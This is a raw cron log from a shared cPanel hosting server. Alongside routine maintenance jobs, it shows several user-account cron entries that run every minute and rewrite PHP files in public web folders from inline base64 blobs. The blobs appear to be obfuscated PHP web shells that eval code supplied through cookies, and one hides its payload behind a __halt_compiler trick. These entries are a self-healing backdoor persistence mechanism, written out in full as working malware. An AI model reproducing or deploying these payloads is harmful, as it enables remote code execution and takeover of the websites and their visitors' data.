Mar  1 19:29:01 medusa CROND[28376]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:30:02 medusa CROND[20939]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:30:02 medusa CROND[20941]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:30:02 medusa CROND[20944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:30:02 medusa CROND[20945]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20946]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:30:02 medusa CROND[20953]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20954]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20955]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:30:02 medusa CROND[20956]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20960]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:30:02 medusa CROND[20963]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:30:02 medusa CROND[20967]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20975]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:30:02 medusa CROND[20951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20966]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 19:30:02 medusa CROND[20978]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:30:02 medusa CROND[20980]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:30:02 medusa CROND[20981]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20982]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20984]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:30:02 medusa CROND[20987]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 19:30:02 medusa CROND[20996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:30:02 medusa CROND[20974]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:30:02 medusa CROND[20992]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 19:30:02 medusa CROND[20991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:30:02 medusa CROND[20997]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:30:02 medusa CROND[21001]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:30:02 medusa CROND[20999]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 19:30:02 medusa CROND[21003]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:30:02 medusa CROND[20976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 19:31:02 medusa CROND[13321]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:31:02 medusa CROND[13320]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:31:02 medusa CROND[13322]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:31:02 medusa CROND[13323]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:31:02 medusa CROND[13324]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:31:02 medusa CROND[13325]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:31:02 medusa CROND[13327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:31:02 medusa CROND[13328]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:31:02 medusa CROND[13326]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:31:02 medusa CROND[13331]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:31:02 medusa CROND[13339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:31:02 medusa CROND[13345]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiA